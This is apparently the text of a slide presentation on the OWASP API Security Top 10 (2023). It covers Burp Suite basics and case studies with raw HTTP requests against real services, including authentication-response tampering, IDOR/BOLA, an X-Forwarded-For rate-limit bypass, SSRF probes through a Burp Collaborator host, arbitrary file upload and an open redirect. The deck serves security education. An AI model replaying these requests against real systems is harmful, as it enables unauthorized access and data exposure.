

Abundance of API Vulnerabilities

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Overview

- ▶ **What Are APIs**
- ▶ **CIA Triad**
- ▶ **Burp Suite Introduction**
- ▶ **OWASP Top 10 API Security Risks**
 - ▶ **What they are**
 - ▶ **How they can be exploited**
 - ▶ **Live Demonstrations**
 - ▶ **Case Studies**
- ▶ **Resources**

APIs In a Nutshell

- ▶ Application Program Interface (API) **takes** requests and **tells** a system what to do then **delivers** responses to the user
- ▶ **RESTful API**, the most common web API, use HTTP methods (PUT, GET, POST, DELETE) to perform **CRUD(Create, Read, Update, Delete)**
- ▶ **CRUD** is the primary actions APIs are used for
- ▶ Most commonly RESTful APIs use JSON to send and receive data

Example Request

```
POST /api/me/ HTTP/2
Host: host.com
Cookie: Example_Auth
Content-Type: application/json
```

```
{
  "user": "account",
}
```

Example Response

```
HTTP/2 200 OK
```

```
{
  "user": "account",
  "email": "email@me.com",
  "phone": "123-123-1234",
  "Is_Admin": true,
  "ID": 1
}
```

CIA Triad



Burp Suite

- ▶ Most used web application pentesting tool
- ▶ **Proxy** can intercept outgoing requests to view and modify information
- ▶ **Repeater** allows storage of requests from proxy to be sent multiple times
- ▶ **Intruder** acts as a fuzzer allowing payload lists to be sent
- ▶ Tons of more features outside the scope of this presentation, such as **Collaborator**, **Decoder**, **Comparer**, **Scanner** and more

What is OWASP?



- ▶ Open Web Application Security Project (OWASP)
- ▶ Non-Profit dedicated to web security
- ▶ Lots of free material
- ▶ Publish lists for most common vulnerabilities in web applications
- ▶ San Francisco Chapter: <https://owasp.org/www-chapter-bay-area/>

OWASP Top 10 API Security Risks


- ▶ **API1:2023 - Broken Object Level Authorization**
- ▶ **API2:2023 - Broken Authentication**
- ▶ **API3:2023 - Broken Object Property Level Authorization**
- ▶ **API4:2023 - Unrestricted Resource Consumption**
- ▶ **API5:2023 - Broken Function Level Authorization**
- ▶ **API6:2023 - Unrestricted Access to Sensitive Business Flows**
- ▶ **API7:2023 - Server Side Request Forgery**
- ▶ **API8:2023 - Security Misconfiguration**
- ▶ **API9:2023 - Improper Inventory Management**
- ▶ **API10:2023 - Unsafe Consumption of APIs**

API2:2023 - Broken Authentication

- ▶ Authentication verifies the identity of a user.
- ▶ Broken Authentication has a wide range of potential vulnerabilities
 - ▶ If an API can be **brute forced** allowing unlimited number of requests to be sent
 - ▶ APIs should not allow weak passwords
 - ▶ Change email/current password without verifying current password
 - ▶ Authentication tokens or passwords in the URL
 - ▶ Weak Encryption
 - ▶ JWT
 - ▶ Poor encryption in database

Broken Authentication Case Study

- ▶ Using Burp Intercept, it is possible to capture and modify responses from requests.



- ▶ Can potentially set responses to bypass authentication

Request

```
POST /api/Account/Login/ HTTP/2
Host: connectnb.ups.com

{"UserName":"admin","Password":"1111"}
```

Altered Response

```
HTTP/2 200 OK

{"status":true,"errorMessage":"Username and Password does not match."}
```

API1:2023 - Broken Object Level Authorization

- ▶ **Authorization** determines whether someone is allowed to access resources.
- ▶ **Broken Object Level Authorization (BOLA)** occurs when user-controlled parameters used for accessing resources have improper authorization
 - ▶ Previously referred to as **IDOR**

`https://example.com/edit?userid=123`

- ▶ Leads to information disclosure and potentially modification

A to B Testing

- ▶ A to B testing is one of the most popular methods for testing broken object level authorization
- ▶ This is a surprisingly common vulnerability in web applications

Account A

- Created resource
- Copy resource unique identifier

Account B

- Send request using unique identifier from unauthorized account

Broken Object Level Authorization Case Study

- ▶ Using another account's **orderKeys**, it is possible to list information about the account

Request

```
POST /web-client/api/orders/stats/query HTTP/1.1
Host: app.mopub.com

{"startTime":"2019-04-07","endTime":"2019-04-20","orderKeys":["43b29d60a9724fa9abbd800044002d6"]}
```

Response

```
HTTP/2 200 OKAY
{ "aggregates": {
  " [ID_VALUE] ": {
    "conversions": 0,
    "abAuctionWins": 0,
  }}}}
```


API3:2023 - Broken Object Property Level Authorization

- ▶ Previously known as **Excessive Data Exposure** and **Mass Assignment**
- ▶ **Excessive Data Exposure** exists if the API endpoint exposes sensitive details that should not be read by unauthorized user.
 - ▶ Personally Identifiable Information (PII), credit card information, location
- ▶ **Mass Assignment** exists if the API endpoint allows a user to change, add/or delete the information using sensitive function the user should not be able to access

Broken Object Property Level Authorization Case Study

- ▶ Tinder API disclosed exact distance from another user
- ▶ Max Veytsman used the power of math to triangulate users' exact location
- ▶ Same vulnerability was found in 2021 affecting Bumble

```
{
  "status":200,
  "results":{
    "bio":"",
    "name":"Anthony",
    "birth_date":"1981-03-16T00:00:00.000Z",
    "common_friends":[
    ],
    "common_likes":[
    ],
    "common_like_count":0,
    "common_friend_count":0,
    "distance_mi":4.760408451724539
  }
}
```



API5:2023 - Broken Function Level Authorization

- ▶ **Regular users** can access **administrative** endpoints
 - ▶ Perform **sensitive actions** using **Creation**, **Update** or **Delete**
- ▶ Users from **group A** can **perform actions** that are for **group B**
- ▶ Sometimes referred to as **permission IDOR**
- ▶ Exploiting this can be performed in several ways
 - ▶ Change HTTP Verbs (GET -> POST) to try to exploit
 - ▶ Adding extensions to end of pages (.html, .php)
 - ▶ Changing API path (/v2 -> /v1)

Broken Function Level Authorization Case Study

- ▶ A staff member (authorized user) with no permissions can edit a store **Customer email** which they have **no access to**

POST /**admin**/internal/web/**graphql**/core HTTP/1.1

Host: [DOMAIN].shopify.com

```
{"query": "\r\nmutation emailSenderConfigurationUpdate\r\n($input:EmailSenderConfigurationUpdateInput!){\r\n  emailSenderConfigurationUpdate(input:$input) {\r\n    emailSenderConfiguration{\r\n      id\r\n    }\r\n    userErrors {\r\n      field\r\n      message\r\n    }\r\n  }\r\n}", "variables": {\r\n  "input": {\r\n    "senderEmail": "[REDACTED]" \r\n  }\r\n}}
```


API4:2023 - Unrestricted Resource Consumption

- ▶ Vulnerable if the API does **not monitor resources** allowing large amounts of CPU, bandwidth or storage to be consumed
- ▶ If the API allows users to **download large files**
- ▶ There is no **maximum file upload** size
- ▶ No limit to **execution timeouts**, third party **spending limit**, or **number of operations** in a single API request

Unrestricted Resource Consumption Case Study

- ▶ Changing date range increases the response from the server
- ▶ This can lead to the server consuming too many resources
- ▶ Going far enough back receives a "This message is too large to display"

Request

```
GET /api/v1/reports?dateFrom=1920-02-10&dateTo=2023-02-17 HTTP/1.1  
Host: connect.8x8.com
```

Response

```
This message is too large to display
```

API6:2023 - Unrestricted Access to Sensitive Business Flows

- ▶ Vulnerable if APIs do not have proper **brute force** protection outside of authentication methods
 - ▶ Attackers can spam the system
- ▶ Allows **purchases** of all high **demand items**, **reserve all time slots**, or **flood** the system with requests
- ▶ Can lead to consumer facing sites being unusable by regular users
- ▶ Insufficient anti-automation can be used outside of brute forcing passwords

Unrestricted Access to Sensitive Business Flows Case Studies

► Lack of rate limiting allowed fast posting to Reddit

POST /api/submit?resubmit=true HTTP/1.1

Host: oauth.reddit.com

sr=u_testnsh&api_type=json&show_error_list=true&title=lol&spoiler=false&nsfw=false&kind=self&original_content=false&submit_type=profile&post_to_twitter=false&sendreplies=true&richtext_json-7B%22document%22%3A%5B%7B%22e%22%3A%22part22%2C%22c%22%3A%5B%7B%22e%22%3A%22text%22%2C%22t%22%3A%22you%20naughty%20naughty%22%7D%5D%7D%5D%7D&validate_on_submit=true

► Using **X-Forward-For Header** Bypassed rate limiting


POST /stories_everywhere/download_sms HTTP/1.1

Host: app.snapchat.com

X-Forwarded-For: 127.0.0.1

API7:2023 - Server Side Request Forgery

- ▶ API fetches remote resources based on user supplied input
- ▶ Often leveraged to target internal resources
- ▶ Can be leverage for authentication bypass, internal port scanners, internal file disclosure, database HTTP interfaces, and more.



Server Side Request Forgery Case Study

Invalid Address Request

```
GET /api/v1/http/default/raw?regex=%22service.name%22:/s%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfv6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1
Host: fleet-status.app.elstc.co
```

Invalid Address Response

```
HTTP/2 200 OK
"Values": [
  {"type":"HTTP-RAW","status":"WARNING","label":"http://p8yfv6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22","message":"timeout/host unreachable"}
```

Server Side Request Forgery Case Study

Valid Address Request

```
GET /api/v1/http/default/raw?regex=%22service.name%22:/s%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfv6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80 HTTP/1.1
Host: fleet-status.app.elstc.co
```

Valid Address Response

```
HTTP/2 200 OK
"Values": [
  {
    "type": "HTTP-RAW",
    "status": "FAILURE",
    "label": "http://p8yfv6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80",
    "value": {
      "values": [
        "\u003chtml\u003e\u003cbody\u003eift3z4lojdng3fv7r68q5szjigz\u003c/body\u003e\u003c/html\u003e"
      ],
      "unit": "RAW"
    }
  }
]
```

Server Side Request Forgery Case Study

Internal Server Request

```
GET /api/v1/http/default/raw?regex=%22service.name%22:/s%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=https://hi-tech.mail.ru/ HTTP/1.1
Host: fleet-status.app.elstc.co
```

Internal Server Response

```
HTTP/2 200 OK
"Values": [
  {"type": "HTTP-RAW", "status": "FAILURE", "label": "https://hi-tech.mail.ru/
", "value": {"values": ["\u003c ! DOCTYPE html\u003e\u003chtml\u003chead
```


API8:2023 - Security Misconfiguration

- ▶ The latest **security patches** are missing, or the systems are out of date
- ▶ Unnecessary **features** are enabled (e.g. HTTP verbs, logging features)
- ▶ Transport Layer Security (**TLS**) is missing
- ▶ Security or cache control directives are not sent to clients
- ▶ A Cross-Origin Resource Sharing (**CORS**) policy is missing or improperly set
- ▶ Error messages include **stack traces**, or expose other **sensitive information**

Security Misconfiguration Case Study

- ▶ Allowed PUT Request to upload arbitrary files to the server
- ▶ Potential RCE or upload malicious ELF/EXE files for phishing attacks
- ▶ Overwrite current pages to deface the website

Request


PUT /codeslayer137.txt HTTP/1.1

Host: downloader.ratelimited.me

Content-Length: 21

Connection: close

Testing By CodeSlayer



API9:2023 - Improper Inventory Management

▶ Documentation Blindspot

- ▶ Bad documentation can lead to unpatched APIs being pushed prod
- ▶ No documentation is even worse
- ▶ No retirement plans for an API

▶ Data Flow Blindspot

- ▶ If the API shares sensitive data with a third-party API and there is no reason for this to occur

Improper Inventory Management Case Study

- ▶ Payment tokens were being sent to a 3rd party
- ▶ These tokens could be used to link credit cards to accounts

Request

POST /v1/payment_methods HTTP/1.1

Host: payments.upserve.com

credit_card_card_number=[REDACTED]

Response

HTTP/1.1 302 Found

<a href=https://app.upserve.com/s/upserve-lounge-test-providence-2/payment?payment_method_token=[TOKEN]

API10:2023 - Unsafe Consumption of APIs

- ▶ Interacts with other APIs over an **unencrypted channel**
- ▶ Does not properly **validate** and **sanitize data** gathered from other APIs prior to processing it or passing it to downstream components
- ▶ Blindly follows **redirections**
- ▶ Does not limit the **number of resources** available to process **third-party services responses**
- ▶ Does not implement **timeouts** for interactions with **third-party** services

Unsafe Consumption of APIs

Case Study

- ▶ Expedia was vulnerable to an open redirect
 - ▶ Not obvious by parameter name

Default Request

```
GET /?logout=1 HTTP/2  
Host: www.expedia.com
```

Altered Request

```
GET /?logout=https://example.com  
HTTP/2  
Host: www.expedia.com
```

Resources

▶ Online

- ▶ OWASP Top 10 API Security Risks: <https://owasp.org/www-project-api-security/>
- ▶ PortSwigger: <https://portswigger.net/web-security>
- ▶ APISecUniversity: <https://university.apisec.ai>
- ▶ PentesterLabs: <https://pentesterlab.com/>

▶ Books

- ▶ Hacking API's by Corey J. Ball
- ▶ The Web Application Hackers Handbook 2nd edition by Dayfdd Stuttard and Marcus Pinto
- ▶ Real-World Bug Hunting by Peter Yaworski

Questions?

